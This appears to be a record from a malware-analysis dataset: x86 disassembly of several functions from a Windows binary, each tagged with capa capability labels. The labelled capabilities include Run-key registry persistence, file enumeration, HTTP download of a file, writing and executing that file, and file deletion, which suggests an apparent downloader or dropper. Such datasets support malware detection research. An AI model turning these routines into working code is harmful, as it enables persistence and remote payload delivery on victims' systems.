joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401b2e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push ebx
push esi
push edi
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x34], bl
lea edi, [ebp - 0x33]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x24], bl
xor eax, eax
push ebx
lea edi, [ebp - 0x23]
stosd dword es:[edi], eax
push 0x80
stosd dword es:[edi], eax
push 3
push ebx
stosd dword es:[edi], eax
push 3
stosw word es:[edi], ax
push 0x80000000
push dword [ebp + 8]
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
xor eax, eax
push 0x40
pop ecx
mov byte [ebp - 0x138], bl
lea edi, [ebp - 0x137]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
cmp esi, 0xffffffff
mov byte [ebp - 0x23c], bl
pop ecx
lea edi, [ebp - 0x23b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 4], esi
stosb byte es:[edi], al
je 0x401caa
push dword [ebp + 0xc]
call fcn.004030d6
push dword [ebp + 0x10]
call fcn.004030d6
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
pop ecx
pop ecx
push 2
push ebx
push ebx
push esi
call edi
push ebx
push ebx
sub eax, 0xc
push eax
push esi
call edi
push ebx
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0xc]
push eax
push 6
lea eax, [ebp - 0x34]
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
lea eax, [ebp - 0xc]
push eax
push 6
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 4]
call esi
lea eax, [ebp - 0x34]
push eax
call fcn.0040318f
mov dword [ebp - 8], eax
lea eax, [ebp - 0x24]
push eax
call fcn.0040318f
mov edi, 0x104
cmp eax, edi
pop ecx
pop ecx
mov dword [ebp - 0x10], eax
jae 0x401caa
cmp dword [ebp - 8], edi
jae 0x401caa
cmp dword [ebp - 8], ebx
je 0x401caa
cmp eax, ebx
je 0x401caa
mov ecx, dword [ebp - 0x14]
push ebx
sub ecx, eax
sub ecx, dword [ebp - 8]
push ebx
push ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x138]
push eax
push dword [ebp - 4]
call esi
push ebx
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x23c]
push eax
push dword [ebp - 4]
call esi
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push edi
push dword [ebp + 0xc]
lea eax, [ebp - 0x138]
push dword [ebp - 8]
push eax
push ebx
push 1
call esi
push edi
push dword [ebp + 0x10]
lea eax, [ebp - 0x23c]
push dword [ebp - 0x10]
push eax
push ebx
push 1
call esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x401cac
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401e09
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x458
push ebx
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x458]
push eax
xor bl, bl
call fcn.004030f6
lea eax, [ebp - 0x458]
push 0x40118c
push eax
call fcn.004030a5
add esp, 0x10
lea eax, [ebp - 0x250]
push eax
lea eax, [ebp - 0x458]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x401eb2
push esi
lea eax, [ebp - 0x224]
push eax
call fcn.00401cb1
mov esi, eax
push esi
call fcn.0040187b
test al, al
pop ecx
pop ecx
jne 0x401e8a
push esi
call fcn.00403951
pop ecx
lea eax, [ebp - 0x250]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x401e55
jmp 0x401eb1
push 0x401160
push dword [ebp + 8]
call fcn.004030a5
lea eax, [ebp - 0x224]
push eax
push dword [ebp + 8]
call fcn.004030a5
push esi
mov bl, 1
call fcn.00403951
add esp, 0x14
pop esi
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
mov al, bl
pop ebx
leave
ret

Function at 0x401ebf
Capabilities:
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push dword [ebp + 8]
lea eax, [ebp - 0x214]
push eax
mov dword [ebp - 8], 0x104
call fcn.004030f6
lea eax, [ebp - 0x214]
push eax
call fcn.004030d6
add esp, 0xc
shl eax, 1
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x4011a0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401f51
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x401f51
push dword [ebp + 0xc]
call fcn.004030d6
pop ecx
shl eax, 1
push eax
push dword [ebp + 0xc]
push 1
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret
Function at 0x401f5c
Capabilities:
Create shortcut via ishelllink
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
lea eax, [ebp - 8]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jl 0x40209c
lea eax, [ebp - 0xc]
push eax
push 0x10
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jl 0x40209c
lea eax, [ebp - 0x420]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
push dword [ebp - 0xc]
test eax, eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
jne 0x401fb8
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
leave
ret
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jl 0x40209c
lea eax, [ebp - 4]
push eax
push 0x4017e8
push 1
push 0
push 0x4017f8
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x402096
mov eax, dword [ebp - 4]
push dword [ebp + 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push 0x401230
push eax
call dword [ecx + 0x1c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push 5
push eax
call dword [ecx + 0x3c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push 0
push dword [ebp + 8]
push eax
call dword [ecx + 0x44]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x10]
push edx
push 0x401808
push eax
call dword [ecx]
test eax, eax
jl 0x40208d
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.004030f6
lea eax, [ebp - 0x218]
push 0x4011fc
push eax
call fcn.004030a5
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 0xc]
call fcn.004030f6
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
add esp, 0x18
push 1
lea edx, [ebp - 0x218]
push edx
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
leave
ret
Function at 0x40209e
Capabilities:
Create directory
Create shortcut via ishelllink
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
lea eax, [ebp - 8]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jl 0x402251
push esi
lea eax, [ebp - 0xc]
push eax
push 2
xor esi, esi
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jl 0x402250
lea eax, [ebp - 0x420]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
push dword [ebp - 0xc]
test eax, eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
jne 0x4020ff
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x402250
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea eax, [ebp - 0x420]
push 0x40127c
push eax
call fcn.004030a5
pop ecx
pop ecx
push esi
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push esi
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jl 0x402250
lea eax, [ebp - 4]
push eax
push 0x4017e8
push 1
push esi
push 0x4017f8
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x40224a
mov eax, dword [ebp - 4]
push dword [ebp + 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
mov eax, dword [ebp - 4]
push dword [ebp + 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push 5
push eax
call dword [ecx + 0x3c]
push 0x401270
push dword [ebp + 8]
call fcn.00403153
test eax, eax
pop ecx
pop ecx
je 0x4021bf
push 0x104
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x218]
push 0x40125c
push eax
call fcn.004030a5
pop ecx
pop ecx
push esi
lea edx, [ebp - 0x218]
push edx
jmp 0x4021c3
push esi
push dword [ebp + 8]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x44]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x10]
push edx
push 0x401808
push eax
call dword [ecx]
test eax, eax
jl 0x402241
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.004030f6
lea eax, [ebp - 0x218]
push 0x401160
push eax
call fcn.004030a5
push dword [ebp + 0x10]
lea eax, [ebp - 0x218]
push eax
call fcn.004030a5
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 0x14]
call fcn.004030f6
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
add esp, 0x20
push 1
lea edx, [ebp - 0x218]
push edx
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
pop esi
leave
ret
Function at 0x402292
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push ebx
push esi
push edi
push 0xa
pop ecx
push dword [ebp + 8]
mov esi, 0x401230
lea edi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x23c]
xor ebx, ebx
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
movsw word es:[edi], word [esi]
call fcn.004030f6
lea eax, [ebp - 0x23c]
push 0x401488
push eax
call fcn.004030a5
add esp, 0x10
lea eax, [ebp - 8]
push eax
push 0xf003f
push ebx
push 0x401420
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402387
lea eax, [ebp - 4]
push eax
push 0x4013f4
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea eax, [ebp - 0x34]
push eax
call fcn.004030d6
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop ecx
shl eax, 1
push eax
lea eax, [ebp - 0x34]
push eax
push 1
push ebx
push 0x4013dc
push dword [ebp - 4]
call esi
mov edi, dword [ebp + 0xc]
push edi
call fcn.004030d6
pop ecx
shl eax, 1
push eax
push edi
push 1
push ebx
push 0x4013c0
push dword [ebp - 4]
call esi
push edi
call fcn.004030d6
pop ecx
shl eax, 1
push eax
push edi
push 1
push ebx
push 0x4013a0
push dword [ebp - 4]
call esi
lea eax, [ebp - 0x23c]
push eax
call fcn.004030d6
pop ecx
shl eax, 1
push eax
lea eax, [ebp - 0x23c]
push eax
push 1
push ebx
push 0x401388
push dword [ebp - 4]
call esi
push dword [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
push dword [ebp - 8]
call esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40239c
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x4011a0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4023cb
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret

Function at 0x4023d6
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.004038fc
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x54], 0x44
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x402421
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop esi
leave
ret
Function at 0x402424
Capabilities:
Create process on windows
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
xor ebx, ebx
mov byte [ebp - 0x118], bl
lea edi, [ebp - 0x117]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
mov byte [ebp - 0x21c], bl
xor eax, eax
pop ecx
lea edi, [ebp - 0x21b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x400
stosb byte es:[edi], al
call fcn.00403929
mov dword [esp], 0x401504
push 0x4014f4
mov dword [ebp - 0xc], eax
call fcn.00401931
pop ecx
push eax
call fcn.00401965
pop ecx
pop ecx
push ebx
push 0x80
push 2
push ebx
push 2
push 0x1f01ff
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push dword [0x4062d8]
mov dword [ebp - 8], eax
call fcn.004030d6
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
pop ecx
lea ecx, [ebp - 0x10]
push ecx
push ebx
mov edi, 0x104
push edi
lea ecx, [ebp - 0x118]
push ecx
push eax
push dword [0x4062d8]
push ebx
push 1
call esi
push dword [ebp - 4]
call fcn.004030d6
pop ecx
lea ecx, [ebp - 0x10]
push ecx
push ebx
push edi
lea ecx, [ebp - 0x21c]
push ecx
push eax
push dword [ebp - 4]
push ebx
push 1
call esi
mov esi, dword [ebp - 0xc]
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x118]
push eax
push eax
push 0x4014a0
push esi
call fcn.004038e1
add esp, 0x14
push ebx
lea eax, [ebp - 0x14]
push eax
push esi
call fcn.0040308a
pop ecx
push eax
push esi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push ebx
push dword [ebp - 4]
push 0x401490
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push esi
call fcn.00403951
cmp dword [ebp + 8], ebx
pop ecx
je 0x402554
call fcn.00401820
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x402572
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x458
push ebx
push esi
push dword [0x4062b0]
xor bl, bl
call fcn.00403951
mov dword [esp], 0x104
call fcn.0040393d
push eax
mov dword [0x4062b0], eax
call fcn.004018c5
push dword [0x4062b0]
lea eax, [ebp - 0x208]
push eax
call fcn.004030f6
lea eax, [ebp - 0x208]
push 0x40150c
push eax
call fcn.004030a5
add esp, 0x18
lea eax, [ebp - 0x458]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40263f
lea eax, [ebp - 0x42c]
push eax
call fcn.0040187b
test al, al
pop ecx
je 0x40262d
push dword [0x4062b0]
lea eax, [ebp - 0x208]
push eax
call fcn.004030f6
lea eax, [ebp - 0x42c]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.004030a5
lea eax, [ebp - 0x208]
push eax
call fcn.00401e09
mov bl, al
add esp, 0x14
test bl, bl
jne 0x40264c
lea eax, [ebp - 0x458]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4025e2
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop esi
mov al, bl
pop ebx
leave
ret
lea eax, [ebp - 0x208]
push eax
call fcn.004023d6
pop ecx
push 0
call fcn.0040255c
int3
Function at 0x40270b
Capabilities:
Download and write a file
Query remote server for available data
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push edi
mov edi, dword [sym.imp.USER32.dll_LoadCursorW]
xor ebx, ebx
push 0x7f02
push ebx
mov byte [ebp - 1], bl
call edi
push eax
call dword [sym.imp.USER32.dll_SetCursor]
push ebx
push ebx
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
je 0x4027c4
push esi
mov esi, 0x400
push esi
call fcn.00403929
pop ecx
push ebx
push 0x80
push 2
push ebx
push 2
push 0x1f01ff
push dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp + 0xc], eax
lea eax, [ebp - 8]
push eax
push esi
push dword [ebp - 0xc]
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4027a8
cmp dword [ebp + 0xc], ebx
je 0x4027a3
cmp dword [ebp - 8], ebx
jbe 0x4027a8
push ebx
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 8], ebx
ja 0x402770
cmp dword [ebp + 0xc], ebx
pop esi
je 0x4027b7
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xc]
call fcn.00403951
pop ecx
mov byte [ebp - 1], 1
push 0x7f00
push ebx
call edi
push eax
call dword [sym.imp.USER32.dll_SetCursor]
mov al, byte [ebp - 1]
pop edi
pop ebx
leave
ret 8
Function at 0x4027dc
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Delete file
Send data
Send http request

Disassembly:
sub esp, 0x524
push ebx
push ebp
push esi
push edi
push 0x1f
xor eax, eax
pop ecx
xor ebx, ebx
mov word [esp + 0x24], bx
lea edi, [esp + 0x26]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x1f
xor eax, eax
pop ecx
push dword [0x406308]
mov word [esp + 0xa8], bx
lea edi, [esp + 0xaa]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edx, 0x81
xor eax, eax
mov word [esp + 0x330], bx
mov ecx, edx
lea edi, [esp + 0x332]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [esp + 0x128], bx
mov ecx, edx
lea edi, [esp + 0x12a]
rep stosd dword es:[edi], eax
push 0x4015b8
stosw word es:[edi], ax
mov esi, 0x104
lea eax, [esp + 0x2c]
push esi
push eax
mov dword [esp + 0x24], 3
mov dword [esp + 0x2c], 0x4015ac
mov dword [esp + 0x30], ebx
call fcn.004038c7
push dword [0x406308]
lea eax, [esp + 0xb8]
push 0x4015a4
push esi
push eax
call fcn.004038c7
push dword [0x4062cc]
lea eax, [esp + 0x148]
push 0x401574
push esi
push eax
call fcn.004038c7
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x30
mov byte [esp + 0x13], bl
cmp byte [esp + 0x13], bl
jne 0x4029bd
push 0x64
pop edi
push edi
call esi
push ebx
call dword [sym.imp.WININET.dll_InternetAttemptConnect]
push edi
call esi
push ebx
push 1
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.WININET.dll_InternetCheckConnectionW]
test eax, eax
je 0x4029a8
push edi
call esi
push ebx
push ebx
push ebx
push ebx
push 0x401518
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ebp, eax
push edi
mov dword [esp + 0x1c], ebp
call esi
cmp ebp, ebx
je 0x4029a8
push 1
push ebx
push 3
push ebx
push ebx
push 0x50
lea eax, [esp + 0xbc]
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetConnectW]
mov ebp, eax
cmp ebp, ebx
je 0x402998
push edi
call esi
push 1
push 0x84400000
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x30]
push eax
push ebx
lea eax, [esp + 0x138]
push eax
push 0x401510
push ebp
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov edi, eax
cmp edi, ebx
je 0x40298d
push ebx
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x402986
lea eax, [esp + 0x32c]
push eax
push edi
call fcn.0040270b
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
push ebx
push ebx
push edi
mov byte [esp + 0x23], 1
call dword [sym.imp.WININET.dll_HttpEndRequestW]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x64
call esi
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [esp + 0x18]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [esp + 0x13], bl
jne 0x4029b3
dec dword [esp + 0x14]
push 0x1388
call esi
cmp dword [esp + 0x14], ebx
ja 0x4028b3
cmp dword [esp + 0x538], 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
je 0x4029d9
lea eax, [esp + 0x31c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
add esp, 0x524
ret
Function at 0x402a48
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push edi
push 0
push 0x80
push 3
push 0
push 1
push 1
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, dword [ebp + 0x10]
mov edi, eax
cmp edi, 0xffffffff
je 0x402a8c
push 0
lea eax, [ebp - 4]
push eax
push ebx
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 4], ebx
pop edi
sete al
pop ebx
leave
ret

Function at 0x402a98
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push edi
xor eax, eax
push eax
mov ebx, 0x80
push ebx
push 3
push eax
push 1
mov edi, 0x1f01ff
push edi
push dword [ebp + 8]
mov dword [ebp - 8], eax
call esi
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x402ae1
push 0
push ebx
push 2
push 0
push 1
push edi
push dword [ebp + 8]
call esi
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x402b0d
push 2
xor esi, esi
push esi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 0x10]
xor eax, eax
cmp dword [ebp - 8], ecx
pop edi
pop esi
sete al
pop ebx
leave
ret

Function at 0x402cd2
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [0x4062c0], 0
and dword [0x4062b4], 0
push ebx
push dword [ebp + 8]
call fcn.00402b1d
mov ebx, eax
test ebx, ebx
pop ecx
jle 0x402d9b
push edi
push ebx
call fcn.00403929
mov edi, eax
test edi, edi
pop ecx
je 0x402d9a
push esi
push ebx
push edi
push dword [ebp + 8]
call fcn.00402a48
push ebx
push edi
call fcn.00402b5b
mov esi, eax
push ebx
push edi
mov dword [0x4062b4], esi
call fcn.00402bca
add esp, 0x1c
push 0
push dword [0x4062f8]
mov dword [0x4062c0], eax
sub eax, esi
mov dword [0x4062bc], eax
mov dword [0x4062b8], 0xfd10
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov eax, dword [0x4062b4]
test eax, eax
pop esi
jbe 0x402d73
push dword [0x4062bc]
add eax, edi
push eax
push dword [0x4062e0]
call fcn.00402a98
add esp, 0xc
mov eax, dword [0x4062c0]
test eax, eax
jbe 0x402d93
push dword [0x4062b8]
add eax, edi
push eax
push dword [0x4062c8]
call fcn.00402a98
add esp, 0xc
push edi
call fcn.00403951
pop ecx
pop edi
cmp dword [ebp - 4], 0
pop ebx
setne al
leave
ret